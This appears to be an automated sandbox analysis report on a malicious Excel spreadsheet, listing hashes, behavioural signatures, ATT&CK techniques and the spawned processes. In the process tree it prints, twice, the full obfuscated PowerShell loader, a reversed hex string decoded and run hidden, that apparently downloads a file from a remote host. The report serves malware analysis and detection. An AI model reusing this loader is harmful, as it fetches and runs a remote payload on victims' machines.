0e3d989062638b90b15bd109ea8d4001b691c6f3f2399f230ec3270891359e3a

General

Target

96bf0039c8086e96b175fc8c5d09bd6ebb70c40a7f3a00293eebe287da4ecc8c.xls
Size

440KB
MD5

06278f61fb1e92e3f197930234fa6eb8
SHA1

34b83031b8bcbfeb820fa65a09f6e480a4f430b0
SHA256

96bf0039c8086e96b175fc8c5d09bd6ebb70c40a7f3a00293eebe287da4ecc8c
SHA512

ffaa4f467e3b1669ad589342cede512cedd727c78ea70fe366c2b42482260db0dd54bce99471fb52c422f7795c3b7361e7ce5b754b6507debbaf1d6625120556
SSDEEP

6144:Qk3hOdsylKlgxopeiBNhZF+E+W2kdAsoCbk1cVVXVKJKYWX36lvpxtZcEfz0/B9D:FhZh3cpFL0/WuYzqD0VlU9Z

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2096	5056	CMD.exe	86

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	1344	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1344	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3092	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1344	powershell.exe
1344	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1344	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE
3092	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 1344	2096	CMD.exe	92
PID 2096 wrote to memory of 1344	2096	CMD.exe	92

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\96bf0039c8086e96b175fc8c5d09bd6ebb70c40a7f3a00293eebe287da4ecc8c.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3092

C:\Windows\system32\CMD.exe
CMD /c start /min Powershell -WindowStyle hidden -command "$gh47gh7='92^72^37^26^67^E2^C6^C6^16^77^56^27^96^66^C5^72^02^B2^14^45^14^44^05^05^14^A3^67^E6^56^42^82^37^37^56^36^F6^27^07^D2^47^27^16^47^37^B3^85^06^54^06^94^C7^72^92^72^72^37^26^67^E2^C6^C6^16^77^56^27^96^66^C5^72^72^B2^14^45^14^44^05^05^14^A3^67^E6^56^42^C2^72^72^37^26^67^E2^96^46^56^F2^47^96^D6^56^27^F2^76^F6^C6^F2^D6^F6^36^E2^27^96^16^47^37^57^76^57^16^F2^F2^A3^07^47^47^86^72^72^82^56^72^B2^72^C6^96^72^B2^72^64^72^B2^72^46^72^B2^72^16^F6^72^B2^72^C6^E6^72^B2^72^77^F6^72^B2^72^44^E2^72^B2^72^92^47^E6^56^72^B2^72^96^C6^72^B2^72^34^72^B2^72^26^56^72^B2^72^75^72^B2^72^E2^47^72^B2^72^56^E4^72^02^B2^72^02^47^36^72^B2^72^56^A6^72^B2^72^26^F4^72^B2^72^D2^77^72^B2^72^56^E4^82^72';$r7gf0eee = $gh47gh7.ToCharArray();[Array]::Reverse($r7gf0eee);$uy4wer0=-join $r7gf0eee;$y45jkh0dfg=$uy4wer0.Split('^') | forEach {[char]([convert]::toint16($_,16))};$y45jkh0dfg -join ''|I`E`X"
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -WindowStyle hidden -command "$gh47gh7='92^72^37^26^67^E2^C6^C6^16^77^56^27^96^66^C5^72^02^B2^14^45^14^44^05^05^14^A3^67^E6^56^42^82^37^37^56^36^F6^27^07^D2^47^27^16^47^37^B3^85^06^54^06^94^C7^72^92^72^72^37^26^67^E2^C6^C6^16^77^56^27^96^66^C5^72^72^B2^14^45^14^44^05^05^14^A3^67^E6^56^42^C2^72^72^37^26^67^E2^96^46^56^F2^47^96^D6^56^27^F2^76^F6^C6^F2^D6^F6^36^E2^27^96^16^47^37^57^76^57^16^F2^F2^A3^07^47^47^86^72^72^82^56^72^B2^72^C6^96^72^B2^72^64^72^B2^72^46^72^B2^72^16^F6^72^B2^72^C6^E6^72^B2^72^77^F6^72^B2^72^44^E2^72^B2^72^92^47^E6^56^72^B2^72^96^C6^72^B2^72^34^72^B2^72^26^56^72^B2^72^75^72^B2^72^E2^47^72^B2^72^56^E4^72^02^B2^72^02^47^36^72^B2^72^56^A6^72^B2^72^26^F4^72^B2^72^D2^77^72^B2^72^56^E4^82^72';$r7gf0eee = $gh47gh7.ToCharArray();[Array]::Reverse($r7gf0eee);$uy4wer0=-join $r7gf0eee;$y45jkh0dfg=$uy4wer0.Split('^') | forEach {[char]([convert]::toint16($_,16))};$y45jkh0dfg -join ''|I`E`X"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_daf1lrey.o2h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
d728ededc1da873eaa8eb9fe7560b843

SHA1
242aafc70433f64554a29b38d70cf2576a79fac6

SHA256
59814a65e9c611be0954fdc44fa3bb4153e4128e25014a74f38636144271fc95

SHA512
ff49be25953e8f30d20a79402eb656f5ea3c9abd815e92bd508eb9eb1b9e78bb2f6fe68f211e7c1c871d9437990755dcd132866bb6f130288fbc7d2b29210125

Download Submit
memory/1344-71-0x0000016BFB2F0000-0x0000016BFB312000-memory.dmp

Filesize
136KB

Download
memory/3092-9-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-12-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-4-0x00007FF9CC9B0000-0x00007FF9CC9C0000-memory.dmp

Filesize
64KB

Download
memory/3092-10-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-1-0x00007FF9CC9B0000-0x00007FF9CC9C0000-memory.dmp

Filesize
64KB

Download
memory/3092-8-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-11-0x00007FF9CA050000-0x00007FF9CA060000-memory.dmp

Filesize
64KB

Download
memory/3092-7-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-6-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-13-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-14-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-16-0x00007FF9CA050000-0x00007FF9CA060000-memory.dmp

Filesize
64KB

Download
memory/3092-15-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-2-0x00007FF9CC9B0000-0x00007FF9CC9C0000-memory.dmp

Filesize
64KB

Download
memory/3092-26-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-29-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-52-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-51-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-5-0x00007FF9CC9B0000-0x00007FF9CC9C0000-memory.dmp

Filesize
64KB

Download
memory/3092-3-0x00007FF9CC9B0000-0x00007FF9CC9C0000-memory.dmp

Filesize
64KB

Download
memory/3092-79-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-78-0x00007FFA0C9CD000-0x00007FFA0C9CE000-memory.dmp

Filesize
4KB

Download
memory/3092-80-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-81-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-82-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-86-0x00007FFA0C930000-0x00007FFA0CB25000-memory.dmp

Filesize
2.0MB

Download
memory/3092-0-0x00007FFA0C9CD000-0x00007FFA0C9CE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads